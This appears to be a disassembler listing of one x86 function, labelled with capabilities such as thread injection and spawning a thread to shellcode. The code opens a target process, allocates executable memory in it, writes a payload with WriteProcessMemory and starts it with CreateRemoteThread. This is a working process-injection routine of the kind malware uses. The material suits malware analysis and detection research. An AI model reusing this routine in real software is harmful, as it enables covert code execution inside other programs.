Function at 0x40220a
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push 0x48
push 0x47b200
call fcn.00439940
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x58], ebx
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov esi, dword [ebp + 0xc]
cmp esi, ebx
jne 0x40224f
cmp dword [ebp + 0x10], ebx
jne 0x40224f
mov dword [ebp - 0x20], reloc.OLEAUT32.dll_SysStringLen
jmp 0x402432
push dword [ebp + 8]
push ebx
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x24], eax
cmp eax, ebx
jne 0x402271
mov dword [ebp - 0x20], reloc.WS2_32.dll_connect
jmp 0x402432
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov ecx, dword [esi + 0x3c]
add ecx, esi
mov ebx, dword [ecx + 0x50]
mov edx, dword [ecx + 0x34]
mov dword [ebp + 8], edx
mov ecx, dword [0x4eb194]
lea ecx, [ecx + 0x4eb158]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ecx + 0x50]
lea eax, [eax + eax*2]
add eax, ebx
lea edi, [eax + ecx + 4]
push 0x1c
lea eax, [ebp - 0x58]
push eax
push edx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x402432
cmp dword [ebp - 0x48], 0x10000
jne 0x4022e4
cmp edi, dword [ebp - 0x4c]
jae 0x4022e4
push 0x40
mov esi, 0x1000
push esi
push edi
push dword [ebp + 8]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
jmp 0x4022e9
mov esi, 0x1000
cmp dword [ebp - 0x1c], 0
jne 0x402309
push 0x40
push esi
push edi
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x402432
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov dword [ebp - 0x30], eax
push 4
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x28], esi
xor ebx, ebx
cmp esi, ebx
jne 0x402334
mov dword [ebp - 0x20], 0x80000046
jmp 0x402432
or dword [ebp + 0x14], 0x40000000
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x4eb158
push dword [ebp + 0xc]
push edi
push esi
call fcn.00401dce
add esp, 0x1c
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x402432
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp + 8]
je 0x402380
push eax
push ebx
push esi
call fcn.00401a4e
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x402432
push dword [ebp - 0x2c]
call fcn.004019bd
pop ecx
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x402432
push dword [ebp - 0x30]
push ebx
push dword [ebp - 0x2c]
call fcn.00401a4e
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x402432
mov eax, dword [ebp - 0x38]
mov esi, dword [eax + 0x28]
add esi, dword [ebp - 0x30]
mov dword [ebp - 0x34], ebx
lea eax, [ebp - 0x34]
push eax
push edi
push dword [ebp - 0x28]
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40240c
cmp dword [ebp - 0x34], edi
jne 0x40240c
lea eax, [ebp - 0x3c]
push eax
push ebx
push dword [ebp - 0x1c]
push esi
push ebx
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, ebx
je 0x402403
mov ecx, dword [ebp + 0x18]
cmp ecx, ebx
je 0x4023fa
mov dword [ecx], eax
jmp 0x402432
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402432
mov dword [ebp - 0x20], send
jmp 0x402432
mov dword [ebp - 0x20], send
push 0x10000
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402432
mov dword [ebp - 4], 0xfffffffe
xor esi, esi
cmp dword [ebp - 0x20], esi
je 0x40245a
cmp dword [ebp - 0x1c], esi
je 0x40245a
push 0x10000
push esi
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x28], esi
je 0x40246e
push 0x10000
push esi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x24], esi
je 0x40247c
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
call fcn.00439986
ret 0x14